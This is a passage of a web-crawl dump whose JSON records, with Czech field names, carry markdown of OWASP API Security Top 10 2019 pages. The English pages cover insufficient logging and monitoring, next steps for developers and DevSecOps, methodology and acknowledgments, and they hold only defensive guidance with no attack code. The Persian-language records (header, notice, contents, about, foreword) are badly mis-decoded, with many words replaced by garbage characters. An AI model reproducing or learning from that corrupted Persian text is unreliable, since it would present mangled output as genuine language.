Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API10:2019 Insufficient Logging & Monitoring\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **2** | Prevalence **3** : Detectability **1** | Technical **2** : Business Specific |\n| Attackers take advantage of lack of logging and monitoring to abuse systems without being noticed. | Without logging and monitoring, or with insufficient logging and monitoring, it is almost impossible to track suspicious activities and respond to them in a timely fashion. | Without visibility over on-going malicious activities, attackers have plenty of time to fully compromise systems. |\n\n## Is the API Vulnerable?\n\nThe API is vulnerable if:\n\n- It does not produce any logs, the logging level is not set correctly, or log\n messages do not include enough detail.\n- Log integrity is not guaranteed (e.g., [Log Injection](https://www.owasp.org/index.php/Log_Injection) ).\n- Logs are not continuously monitored.\n- API infrastructure is not continuously monitored.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nAccess keys of an administrative API were leaked on a public repository. The\nrepository owner was notified by email about the potential leak, but took more\nthan 48 hours to act upon the incident, and access keys exposure may have\nallowed access to sensitive data. Due to insufficient logging, the company is\nnot able to assess what data was accessed by malicious actors.\n\n### Scenario #2\n\nA video-sharing platform was hit by a “large-scale” credential stuffing attack.\nDespite failed logins being logged, no alerts were triggered during the timespan\nof the attack. As a reaction to user complaints, API logs were analyzed and the\nattack was detected. The company had to make a public announcement asking users\nto reset their passwords, and report the incident to regulatory authorities.\n\n## How To Prevent\n\n- Log all failed authentication attempts, denied access, and input validation\n errors.\n- Logs should be written using a format suited to be consumed by a log\n management solution, and should include enough detail to identify the\n malicious actor.\n- Logs should be handled as sensitive data, and their integrity should be\n guaranteed at rest and transit.\n- Configure a monitoring system to continuously monitor the infrastructure,\n network, and the API functioning.\n- Use a Security Information and Event Management (SIEM) system to aggregate and\n manage logs from all components of the API stack and hosts.\n- Configure custom dashboards and alerts, enabling suspicious activities to be\n detected and responded to earlier.\n\n## References\n\n### OWASP\n\n- [OWASP Logging Cheat Sheet](https://www.owasp.org/index.php/Logging_Cheat_Sheet)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls)\n- [OWASP Application Security Verification Standard: V7: Error Handling and\n Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### External\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 3113, "slov": 417, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:14", "sha256": "0780319a6e885de8093115ca562bf80cf3112fa2c436906b046f14ec500dd665", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Log_Injection", "https://www.owasp.org/index.php/Logging_Cheat_Sheet", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xb0-next-devs/", "titulek": "What's Next For Developers - OWASP API Security Top 10", "h1": "What's Next For Developers", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xb0-next-devs/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What's Next For Developers"}], "markdown": "# What's Next For Developers\n\nThe task to create and maintain secure software, or fixing existing sofware, can be\ndifficult. APIs are no different.\n\nWe believe that education and awareness are key factors to write secure\nsoftware. Everything else required to accomplish the goal, depends on\n**establishing and using repeatable security processes and standard security\ncontrols**.\n\nOWASP has numerous free and open resources to address security since the very\nbeginning of the project. Please visit the [OWASP Projects page](https://www.owasp.org/index.php/Category:OWASP_Project) for a\ncomprehensive list of available projects.\n\n| | |\n| --- | --- |\n| **Education** | You can start reading [OWASP Education Project materials](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized) according to your profession and interest. For hands-on learning, we added **crAPI** - **C**ompletely **R**idiculous **API** on [our roadmap](https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map). Meanwhile, you can practice WebAppSec using the [OWASP DevSlop Pixi Module](https://devslop.co/Home/Pixi), a vulnerable WebApp and API service intent to teach users how to test modern web applications and API's for security issues, and how to write more secure API's in the future. You can also attend [OWASP AppSec Conference](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) training sessions, or [join your local chapter](https://www.owasp.org/index.php/OWASP_Chapter). |\n| **Security Requirements** | Security should be part of every project from the beginning. When doing requirements elicitation, it is important to define what \"secure\" means for that project. OWASP recommends you use the [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) as a guide for setting the security requirements. If you're outsourcing, consider the [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex), which should be adapted according to local law and regulations. |\n| **Security Architecture** | Security should remain a concern during all the project stages. The [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) are a good starting point for guidance on how to design security in during the architecture phase. Among many others, you'll find the [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) and the [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md). |\n| **Standard Security Controls** | Adopting Standard Security Controls reduces the risk of introducing security weaknesses while writing your own logic. Despite the fact that many modern frameworks now come with built-in standard effective controls, [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018) gives you a good overview of what security controls you should look to include in your project. OWASP also provides some libraries and tools you may find valuable, such as validation controls. |\n| **Secure Software Development Life Cycle** | You can use the [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project) to improve the process when building APIs. Several other OWASP projects are available to help you during the different API development phases e.g., the [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project). |", "znaku_textu": 3625, "slov": 402, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:15", "sha256": "075e495abebbb478ffd0b7566e9ecec797b284869069b61cf29c87891546aba5", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://devslop.co/Home/Pixi", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xb1-next-devsecops/", "titulek": "What's Next For DevSecOps - OWASP API Security Top 10", "h1": "What's Next For DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xb1-next-devsecops/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What's Next For DevSecOps"}], "markdown": "# What's Next For DevSecOps\n\nDue to their importance in modern application architectures, building secure\nAPIs is crucial. Security cannot be neglected, and it should be part of the\nwhole development life cycle. Scanning and penetration testing yearly are no\nlonger enough.\n\nDevSecOps should join the development effort, facilitating continuous security\ntesting across the entire software development life cycle. Their goal is to\nenhance the development pipeline with security automation, and without impacting\nthe speed of development.\n\nIn case of doubt, stay informed, and review, the [DevSecOps Manifesto](https://www.devsecops.org/) often.\n\n| | |\n| --- | --- |\n| **Understand the Threat Model** | Testing priorities come from a threat model. If you don't have one, consider using [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project), and the [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) as an input. Involving the development team may help to make them more security-aware. |\n| **Understand the SDLC** | Join the development team to better understand the Software Development Life Cycle. Your contribution on continuous security testing should be compatible with people, processes, and tools. Everyone should agree with the process, so that there's no unnecessary friction or resistance. |\n| **Testing Strategies** | As your work should not impact the development speed, you should wisely choose the best (simple, fastest, most accurate) technique to verify the security requirements. The [OWASP Security Knowledge Framework](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) and [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) can be great sources of functional and nonfunctional security requirements. There are other great sources for [projects](http://devsecops.github.io/) and [tools](https://github.com/devsecops/awesome-devsecops) similar to the one offered by the [DevSecOps community](http://devsecops.org). |\n| **Achieving Coverage and Accuracy** | You're the bridge between developers and operations teams. To achieve coverage, not only should you focus on the functionality, but also the orchestration. Work close to both development and operations teams from the beginning so you can optimize your time and effort. You should aim for a state where the essential security is verified continuously. |\n| **Clearly Communicate Findings** | Contribute value with less or no friction. Deliver findings in a timely fashion, within the tools development teams are using (not PDF files). Join the development team to address the findings. Take the opportunity to educate them, clearly describing the weakness and how it can be abused, including an attack scenario to make it real. |", "znaku_textu": 2883, "slov": 359, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:16", "sha256": "f1b3a0d372c8e7f34b69069b13541268f7a94d3e61092396d7f14d2ffe3ebf60", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Testing_Project", "https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xd0-about-data/", "titulek": "Methodology and Data - OWASP API Security Top 10", "h1": "Methodology and Data", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xd0-about-data/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Methodology and Data"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Methodology"}], "markdown": "# Methodology and Data\n\n## Overview\n\nSince the AppSec industry has not been specifically focused on the most recent\narchitecture of applications, in which APIs play an important role, compiling a\nlist of the ten most critical API security risks, based on a public call for\ndata, would have been a hard task. Despite there being no public data call, the\nresulting Top 10 list is still based on publicly available data, security\nexperts' contributions, and open discussion with the security community.\n\n## Methodology\n\nIn the first phase, publicly available data about APIs security incidents were\ncollected, reviewed, and categorized by a group of security experts. Such\ndata was collected from bug bounty platforms and vulnerability databases,\nwithin a one-year-old time frame. It was used for statistical purposes.\n\nIn the next phase, security practitioners with penetration testing experience\nwere asked to compile their own Top 10 list.\n\nThe [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) was used to perform he Risk Analysis. The\nscores were discussed and reviewed between the security practitioners. For\nconsiderations on these matters, please refer to the [API Security Risks](../0x10-api-security-risks/)\nsection.\n\nThe first draft of the OWASP API Security Top 10 2019 resulted from a consensus\nbetween statistical results from phase one, and the security practitioners'\nlists. This draft was then submitted for appreciation and review by another\ngroup of security practitioners, with relevant experience in the API security\nfields.\n\nThe OWASP API Security Top 10 2019 was first presented in the OWASP Global\nAppSec Tel Aviv event (May 2019). Since then, it has been available on GitHub\nfor public discussion and contributions.\n\nThe list of contributors is available in the [Acknowledgments](../0xd1-acknowledgments/) section.", "znaku_textu": 1866, "slov": 277, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:18", "sha256": "bfd9d4e8028351b90e166e768b5c5c6023932608161c1de973527f3bd0b5a234", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xd1-acknowledgments/", "titulek": "Acknowledgments - OWASP API Security Top 10", "h1": "Acknowledgments", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xd1-acknowledgments/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Acknowledgments"}, {"uroven": 2, "text": "Acknowledgments to Contributors"}], "markdown": "# Acknowledgments\n\n## Acknowledgments to Contributors\n\nWe’d like to thank the following contributors who contributed publicly on GitHub\nor via other means:\n\n- 007divyachawla\n- Abid Khan\n- Adam Fisher\n- anotherik\n- bkimminich\n- caseysoftware\n- Chris Westphal\n- dsopas\n- DSotnikov\n- emilva\n- ErezYalon\n- flascelles\n- Guillaume Benats\n- IgorSasovets\n- Inonshk\n- JonnySchnittger\n- jmanico\n- jmdx\n- Keith Casey\n- kozmic\n- LauraRosePorter\n- Matthieu Estrade\n- nathanawmk\n- PauloASilva\n- pentagramz\n- philippederyck\n- pleothaud\n- r00ter\n- Raj kumar\n- Sagar Popat\n- Stephen Gates\n- thomaskonrad\n- xycloops123", "znaku_textu": 560, "slov": 62, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:19", "sha256": "ee1212f21c0e0f4b3717d5a4ca96551a82e964b2b1052f17280f452152696298", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/dist/owasp-api-security-top-10.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 3331066, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:38", "sha256": "e59962aaca0833820a719c5e7b532ecd0dbef7dc17af4fab4c92adbef6b04239", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "OWASP API Security Top 10 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x00-header/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Top 10 2019"}], "markdown": "# OWASP API Security Top 10 2019\n\n10 ریسک بحرانی امنیت API از منظر OWASP - 2019\n\n29 می 2019\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | این ا؍ع ŘŞŘ­ŘŞ مجوز زیر توسعه داده شده است:  [Creative Commons Attribution-ShareAlike 4.0 International License](https://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 322, "slov": 41, "odkazu": 63, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:57", "sha256": "9c84109cc575e5ab29d221940b7992f493ba232b889dc62187efb4f118c90f6b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x00-notice/", "titulek": "اطلاعیه - OWASP API Security Top 10", "h1": "اطلاعیه", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x00-notice/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "اطلاعیه"}], "markdown": "# اطلاعیه\n\nاین نسخه متنی OWASP API Security Top 10 است. به عنوان مرجع برای نسخه رسمی منتشر شده، ŘŻŘą قالب یک سند قابل حمل (PDF) استفاده می شود.\n\nمشارکت ŘŻŘą پروژه مانند نظرات، اصلاحات یا ترجمه ها باید ŘŻŘą اینجا انجام شود. برای جزئیات بیشتر ŘŻŘą مورد نحوه مشارکت، لطفاً به CONTRIBUTING.md مراجعه فرمایید.\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 512, "slov": 71, "odkazu": 61, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:19", "sha256": "63a3e31743b2d0f33c39db70950eabbead14c3a8cfdba37ec70eff8cca112b24", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x00-toc/", "titulek": "فهرست مطالب - OWASP API Security Top 10", "h1": "فهرست مطالب", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x00-toc/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "فهرست مطالب"}], "markdown": "# فهرست مطالب\n\n- [فهرست مطالب](./)\n- [درباره OWASP](../0x01-about-owasp/)\n- [پیش‌گفتار](../0x02-foreword/)\n- [مقدمه](../0x03-introduction/)\n- [یادداشت](../0x04-release-notes/)\n- [ریسک‌های امنیت API](../0x10-api-security-risks/)\n- [ده ریسک امنیت API OWASP 2019](../0x11-t10/)\n- [API1:2019 مجوزدهی نادرست ŘŻŘą سءح اشیا](../0xa1-broken-object-level-authorization/)\n- [API2:2019 احرازهویت نادرست ڊاعبع](../0xa2-broken-user-autentication/)\n- [API3:2019 افشای مفرط داده](../0xa3-excessive-data-exposure/)\n- [API4:2019 کمبود منابع و نبود محدودیت بع نرخ ارسال](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 مجوزدهی نادرست ŘŻŘą سءح توابؚ](../0xa5-broken-function-level-authorizaion/)\n- [API6:2019 تخصیص جمعی](../0xa6-mass-assignment/)\n- [API7:2019 پیکربندی امنیتی نادرست](../0xa7-security-misconfiguration/)\n- [API8:2019 تزریق ورودی‌های مخرب](../0xa8-injections/)\n- [API9:2019 مدیریت نادرست دارایی‌ها](../0xa9-improper-asset-management/)\n- [API10:2019 پایش و نظارت ناکافی](../0xaa-insufficient-monitoring/)\n- [ادامه برای توسعه دهندگان](../0xb0-next-devs/)\n- [ادامه برای DevSecOps](../0xb1-next-devsecops/)\n- [متدولوژی و داده](../0xd0-about-data/)\n- [سپاسگزاری](../0xd1-acknowledgments/)", "znaku_textu": 1483, "slov": 144, "odkazu": 61, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:29", "sha256": "b34dd97d6b48331ff2642c7a3c8c4fb0e16d3a0e732ab222f15e8491957ac2a1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x01-about-owasp/", "titulek": "درباره OWASP - OWASP API Security Top 10", "h1": "درباره OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x01-about-owasp/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "درباره OWASP"}, {"uroven": 2, "text": "حق چاپ و مجوز"}], "markdown": "# درباره OWASP\n\nپروژه بازمتن امنیت وب اپلیکیشن‌ها (OWASP) جامعه ای باز و آزاد است که ا؎تؾاؾا ŘŻŘą حوزه توانمندسازی سازمان‌ها ŘŻŘą حوزه توسعه، تهیه و ایجاد اپلیکیشن‌ها و APIهای قابل اعتماد فعالیت داعد.\n\nŘŻŘą OWASP، موارد زیر عا بؾوعت رایگان و آزاد خواهید یافت:\n\n- استانداردها و ابزارهای امنیت اپلیکیشن.\n- کتاب‌هایی درباره تست امنیت اپلیکیشن‌ها، توسعه ایمن ÚŠŘŻ و بازبینی امنیت ÚŠŘŻ.\n- ارائه‌ها و [ویدئوها](https://www.youtube.com/user/OWASPGLOBAL) .\n- [راهنما و برگه تقلب](https://owasp.org/index.php/OWASP_Cheat_Sheet_Series) برای بسیاری از موضوعات رایج.\n- کنترل‌ها و کتابخانه‌های استاندارد ŘŻŘą حوزه امنیت.\n- [شؚب محلی ŘŻŘą سعتاسع جهان.](https://owasp.org/index.php/OWASP_Chapter)\n- تحقیقات به عوز و پیشرو ŘŻŘą حوزه امنیت.\n- [کنفرانس‌های تخصصی](https://owasp.org/index.php/Category:OWASP_AppSec_Conference) ŘŻŘą سعتاسع جهان.\n- [یست‌های ٞست الکترونیک](https://lists.owasp.org/mailman/listinfo) برای ارسال ا؎باع.\n\nاطلاعات بیشتر ŘŻŘą: https://owasp.org\n\nتمامی ابزارها، مستندات، ویدئوها، ارائه‌ها و شؚب OWASP رایگان بوده و استفاده از یا مشارکت ŘŻŘą آنها برای کلیه افرادی که تمایل به بهبود امنیت اپلیکیشن‌ها دارند، آزاد است.\n\nŘŻŘą OWASP امنیت اپلیکیشن بعنوان مساله‌ای مهم از منظر افراد، فرایندها و فناوری‌ها ŘŻŘą نظر گرفته می‌شود چرا که موثرترین رویکردها ŘŻŘą امنیت اطلاعات نیز به بهبود ŘŻŘą این حوزه‌ها نیاز دارند.\n\nOWASP تعریف جدیدی از سازمان ارائه می‌دهد. رهایی از بند فشاع مسائل مالی امکان فراهم آوردن اطلاعات بیطرفانه، عملی و مقرون به صرفه ŘŻŘą حوزه امنیت اپلیکیشن‌ها عا به ما داده است.\n\nOWASP به هیچ کمپانی فناوری وابستگی ندارد اگرچه از استفاده آگاهانه از فناوری‌های تجاری ŘŻŘą حوزه امنیت نیز حمایت می‌کنیم. OWASP انواع مختلفی از اطلاعات عا به گونه‌ای همکارانه، شفاف و باز ارائه می‌دهد.\n\nبنیاد OWASP موجودیتی غیرانتفاعی و عام المنفعه است که توفیق بلند مدت پروژه OWASP عا تضمین می‌نماید. تقریبا تمامی کسانی که با OWASP پیوند دارند، از قبیل اعضای هیئت مدیره، روسای شعبه‌ها، راهبران پروژه‌ها و اعضای پروژه‌ها داوطلبانه این همکاری عا انجام می‌دهند. همچنین ما از تحقیقات نوآورانه ŘŻŘą حوزه امنیت با ارائه کمک‌های مالی و زیرساختی حمایت می‌کنیم.\n\nبه ما بپیوندید!\n\n## حق چاپ و مجوز\n\nحق چاپ Š 2003-2019 بنیاد OWASP. این ا؍ع ŘŞŘ­ŘŞ مجوز [Creative Commons Attribution ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) توسعه داده شده است. برای هرگونه استفاده مجدد یا انتشار، باید شرایط مجوز این ا؍ع عا برای دیگران شفاف نمایید.", "znaku_textu": 3779, "slov": 412, "odkazu": 68, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:38", "sha256": "548de9ee278b60bcaf7d96cb210b618930d1889a7a4a6d6f66527f673f2f78f0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://lists.owasp.org/mailman/listinfo", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0x02-foreword/", "titulek": "پیش‌گفتار - OWASP API Security Top 10", "h1": "پیش‌گفتار", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0x02-foreword/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "پیش‌گفتار"}], "markdown": "# پیش‌گفتار\n\nŘŻŘą دنیای مبتنی بع App امروز، یکی از ابؚاد بنیادین نوآوری واسء برنامه نویسی اپلیکیشن یا همان APIها هستند. از بانک‌‌ها گرفته تا خرده فروشی‌‌ها، حوزه حمل نقل، اینترنت اشیا، وسائل نقلیه خودران و شهرهای هوشمند، APIها بخشی حیاتی از اپلیکیشن‌‌های موبایل، وب و SaaS به شمار می‌آیند.\n\nذاتا APIها منطق اپلیکیشن و داده‌‌های حساسی PII (از قبیل داده‌‌هایی که به تنهایی و بدون نیاز به داده اضافی دیگر، هویت یک ڊاعبع عا عیان می کنند نظیر شماره ملی) عا ŘŻŘą معرض دید قرارداده و ŘŻŘą نتیجه، به ءوع روزافزون توجه ب؎ش بیشتری از مهاجمین عا به ؎ود جلب می‌نمایند. بدون داشتن APIهایی ایمن، توسعه سریع نوآوری‌‌های فناورانه، امکان پذیر نخواهد بود.\n\nاگع چه کماکان می‌توان از لیست ده آسیب‌پذیری امنیتی بحرانی وب اپلیکیشن‌‌ها نیز برای امنیت APIها بهره برد، اما با توجه به ماهیت ؎اؾ APIها نیاز به لیستی از تهدیدات امنیتی مختص آنها احساس می‌شود. مقوله امنیت API بع راهکارها و استراتژی‌‌های لازم برای فهم و عفؚ آسیب‌پذیری‌‌ها و تهدیدات امنیتی ؎اؾ و منحصر به APIها تمرکز داعد.\n\nاگع با [پروژه OWASP Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) آشنایی داشته باشید، شباهت‌‌هایی بین آن و مستند پیش عو خواهید یافت: هر دو با نیت فهم آسان توسء مخاطب و قابلیت بکارگیری و انطباق ŘŻŘą سازمان تهیه شده‌اند. ŘŻŘą صورتی که با مجموعه‌‌های OWASP Top 10 آشنایی ندارید، بهتر است پیش از رفتن به سعاغ لیست اصلی، بخش‌‌های [ریسک‌‌های امنیتی API](../0x10-api-security-risks/) و [متدلوژی و داده](../0xd0-about-data/) از همین مستند عا مطالعه نمایید.\n\nبا پرسش‌‌ها، نظرات و ایده‌‌های ؎ود ŘŻŘą GitHub پروژه می توانید ŘŻŘą توسعه OWASP API Security Top 10 مشارکت کنید:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nŘŻŘą اینجا می توانید OWASP API Security Top 10 عا بیابید:\n\n- https://www.owasp.org/index.php/OWASP_API_Security_Project\n- https://github.com/OWASP/API-Security\n\nبدین وسیله از تمامی مشارکت کنندگان ŘŻŘą این پروژه که با تلاش‌‌های ؎ود ŘŻŘą بو؏ود آمدن آن نقش داشته اند سپاسگزاریم. لیست تمامی آنها ŘŻŘą [قسمت سپاسگزاری‌‌ها](../0xd1-acknowledgments/) قابل مشاهده است. متشکریم!", "znaku_textu": 3259, "slov": 373, "odkazu": 62, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:47", "sha256": "c26b9dd828711d4e9c5bbdb0e9a78a6fcd1e594951454fbb65d9d3b5fa181be1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", 